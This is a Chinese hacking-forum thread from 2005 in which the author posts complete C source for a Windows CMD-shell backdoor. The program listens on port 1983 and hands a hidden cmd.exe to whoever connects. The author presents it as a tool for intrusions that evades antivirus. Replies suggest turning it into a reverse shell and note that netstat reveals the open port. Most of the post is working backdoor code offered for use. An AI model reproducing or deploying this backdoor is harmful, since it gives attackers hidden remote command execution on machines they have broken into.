发新话题
打印

[原创]一个简单的CMDSHELL后门

[原创]一个简单的CMDSHELL后门

  文章作者: 小马/SmallHorse [E.S.T VIP](这个E.S.T VIP写不写是无所谓的)
信息来源: 邪恶八进制 中国
  
   最近闲着无聊,自己琢磨着写了个简单的CMDSHELL后门。同时也避免了入侵时被杀毒软件K了。参考了T-CMD源代码和以前黑防的相关文章。从中学到了很多知识。
   程序很简单,运行后默认打开1983端口,也可以自己设定端口,等待客户端来连接。连接可以使用nc。本来还想设计成服务让其开机后自动运行,由于时间问题等以后完善了。
   用法:smallhorse [-p port]  -p参数用于设置自己的端口
  
   下面是源程序,贴出来和大家共同学习进步,同时希望高手不吝指教,小马在此谢了先。
QQ:11189658 E-MAIL:horse_man@163.com
   
在vc++6.0  WIN2003下编译通过

#include<winsock2.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
int port=1983;
DWORD WINAPI ClientThread(LPVOID lpParam);
void Help()
{printf("      /***************************************\\\n");
printf("      |This SmallHorse&#39;s First CMDSHELL V0.1  |\n");
printf("      |Thanks For Using It!             |\n");
printf("      |SmallHorse  [E.S.T] VIP  2005.03     |\n");
printf("      |***************************************|\n");
printf("      |usage:smallhorse [-p port]         |\n");
printf("      |    port: Port Number To Listen On  |\n");
printf("      |    Default Port Is 1983         |\n");
printf("      \\***************************************/\n");
return;
}


void OpenDoor()
{
     // 初始化 Winsock.
   WSADATA wsaData;
     SOCKET m_socket,AcceptClient;
     sockaddr_in Service,Client;
     int ClientSize,i=0;
   int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
   if ( iResult != NO_ERROR )
      return;

   // 创建一个 socket.
  
   m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
   if(m_socket==SOCKET_ERROR)
          return;
  Service.sin_family = AF_INET;
   Service.sin_addr.s_addr = htonl(INADDR_ANY);
  Service.sin_port = htons( port );

  if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)
       return;//邦定
   
   if (listen(m_socket,5)==SOCKET_ERROR)
          return;//最大监听列队5个
   printf("\nsmallhorse Listen On Port: %d... ^*^\n",port);
     ClientSize=sizeof(Client);
     while(1)
     {
     AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);
     if(AcceptClient==SOCKET_ERROR)
          return;//接受连接
     printf( "Client Connected.\n");
     char *sendbuf = "/***************************************\\\n\tThanks For Using...\n\tSmallHorse&#39;s CmdShell!\n\tGood Luck!\n\\***************************************/\n\n";
   send( AcceptClient, sendbuf, strlen(sendbuf), 0 );
     
     if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
          printf("Create Thread Error!\n");
     Sleep(1000);
     }
     WSACleanup();
     return;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{int ret;
char Buf[1024];
HANDLE Rpipe,Wpipe,Wfile,Rfile;
SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam;

SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;
sa.lpSecurityDescriptor=NULL;

ret=CreatePipe(&Rpipe,&Rfile,&sa,0);
ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立两个管道,分别用于接收命令和显示结果

STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;
startinfo.hStdError=startinfo.hStdOutput=Rfile;
startinfo.wShowWindow=SW_HIDE;

char cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
     strcat(cmdline,("\\cmd.exe"));

PROCESS_INFORMATION proinfo;
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);
unsigned long ByteRec;
while(1)
{
     Sleep(100);
     PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
     if(ByteRec){
          ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);
          if(!ret)
              break;
          ret=send(AcceptClient,Buf,ByteRec,0);
          if(ret<=0)
              break;
     }
     else{
          ByteRec=recv(AcceptClient,Buf,1024,0);
          if(ByteRec<=0)
              break;
          ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);
          if(!ret)
              break;
     }
}
return 0;
}
int main(int argc, char *argv[])
{  
   Help();
     if(argc==3)
          if(!strcmp(argv[1],"-p"))
              port=atoi(argv[2]);
     OpenDoor();
return 0;
}
--Don't bite off more than you can chew!! --MSN:codexf@hotmail.com --QQ:11189658 --Blog:http://hi.baidu.com/codexf

TOP

要是把双管道的地方变成单管道的,再来个反弹,呵呵……这个简单cmdshell就比较完美了

TOP

把主要代码都定义到OpenDoor()函数中,总觉得有点不习惯,呵呵

TOP

引用:
下面是引用caiker于2005-04-14 23:27发表的:
把主要代码都定义到OpenDoor()函数中,总觉得有点不习惯,呵呵
是不太符合结构化程序设计 不过是一种风格 何况这程序不长...
不过让我想起了一个有意思的东西:)

以下引用xfocus的glacier前辈的话 很有意思...
引用:
我想起了大学兼职期间的一个笑话,有一哥们写程序向来都是一个main函数完成所有功能,后来技术总监看不下去了,便提示性地跟他说“你就不能写两个函数什么的让我瞅瞅吗”。第二天,这哥们似乎开窍了,改好代码后让总监过目,总监才看了两眼就忍不住了:“你。。。你是成心的吧。。。把所有的代码放到一个函数里,再用main调用这个函数。。。你有意思吗你!”我在旁边听完差点被水呛死。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

引用:
下面是引用冰血封情于2005-04-15 11:40发表的:
我想起了大学兼职期间的一个笑话,有一哥们写程序向来都是一个main函数完成所有功能,后来技术总监看不下去了,便提示性地跟他说“你就不能写两个函数什么的让我瞅瞅吗”。第二天,这哥们似乎开窍了,改好代码后让总监过目,总监才看了两眼就忍不住了:“你。。。你是成心的吧。。。把所有的代码放到一个函数里,再用main调用这个函数。。。你有意思吗你!”我在旁边听完差点被水呛死。


这段话是早上我刚看到的,在xfocus上的BLOG上看到的,呵呵,现在第二次看到,....,开心,平时不高兴的时候在来看一下:) [s:51]  [s:51]  [s:51]
垃圾一个,00...

TOP

这个程序会一直在服务器开个端口监听吧,用netstat -an一下就看出来了
TCP/IP数据包分析

TOP

我也这么觉得
不过毕竟只有那么几十行代码,不错了
x档案有一期的小册子上提供了更完美的,ww0830主讲,这个人大家都了解吧?呵呵

TOP

发新话题